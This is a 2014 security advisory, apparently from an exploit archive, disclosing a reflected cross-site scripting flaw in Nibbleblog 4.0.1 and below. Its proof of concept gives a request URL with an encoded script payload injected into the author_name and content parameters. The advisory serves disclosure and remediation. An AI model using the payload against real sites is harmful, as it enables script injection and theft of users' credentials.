Exploit the possiblities

Nibbleblog 4.0.1 Cross Site Scripting

Nibbleblog 4.0.1 Cross Site Scripting
Posted Nov 17, 2014
Authored by Manuel Garcia Cardenas

NibbleBlog versions 4.0.1 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 070cc31adccb1dd0f70da4129cfffa84

Nibbleblog 4.0.1 Cross Site Scripting

Change Mirror Download
=============================================
MGC ALERT 2014-002
- Original release date: March 5, 2014
- Last revised: November 17, 2014
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Reflected XSS in Nibbleblog <= v4.0.1

II. BACKGROUND
-------------------------
Nibbleblog is a powerful engine for creating blogs, all you need is PHP to
work.

III. DESCRIPTION
-------------------------
Has been detected a reflected XSS vulnerability in Nibbleblog, that allows
the execution of arbitrary HTML/script code to be executed in the context
of the victim user's browser.

The code injection is done through the parameter warning in the page
index.php parameters "author_name" and "content".

IV. PROOF OF CONCEPT
-------------------------
Malicious Request:
http://vulnerablesite.com/nibbleblog/index.php?controller=post&action=view&id_post=1
hash=10905d09405f5db41d3c6645fd23e72746f76106&author_name=<XSS
injection>&author_email=&content=<XSS injection>

Example:
http://vulnerablesite.com/nibbleblog/index.php?controller=post&action=view&id_post=1
hash=10905d09405f5db41d3c6645fd23e72746f76106&author_name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&author_email=&content=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted user's
browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Nibbleblog <= v4.0.1

VII. SOLUTION
-------------------------
Update to version 4.0.2

VIII. REFERENCES
-------------------------
http://www.nibbleblog.com/
http://blog.nibbleblog.com/post/nibbleblog-v4.0.2-coffee/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
March 5, 2014 1: Initial release
November 17, 2014 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
March 5, 2014 2: Send to vendor
March 7, 2014 3: New version that includes patched code
http://blog.nibbleblog.com/post/nibbleblog-v4.0.2-coffee/
November 17, 2014 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


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